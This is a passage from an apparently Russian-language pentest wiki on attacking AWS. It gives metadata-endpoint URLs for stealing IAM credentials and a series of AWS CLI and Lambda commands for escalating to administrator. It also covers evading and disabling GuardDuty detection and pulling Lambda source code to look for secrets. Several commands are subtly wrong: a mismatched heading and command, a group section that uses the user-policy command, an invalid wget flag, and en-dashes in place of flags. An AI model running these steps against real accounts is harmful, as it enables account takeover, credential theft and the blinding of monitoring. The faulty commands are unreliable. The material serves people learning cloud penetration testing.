http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
==== iam:PutRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для роли.&lt;br /&gt;
&lt;br /&gt;
==== iam:PutGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для группы.&lt;br /&gt;
&lt;br /&gt;
==== iam:PuserUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateAssumeRolePolicy + sts:AssumeRole ====&lt;br /&gt;
&lt;br /&gt;
Обновить документ &amp;quot;AssumeRolePolicyDocument&amp;quot; для роли.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
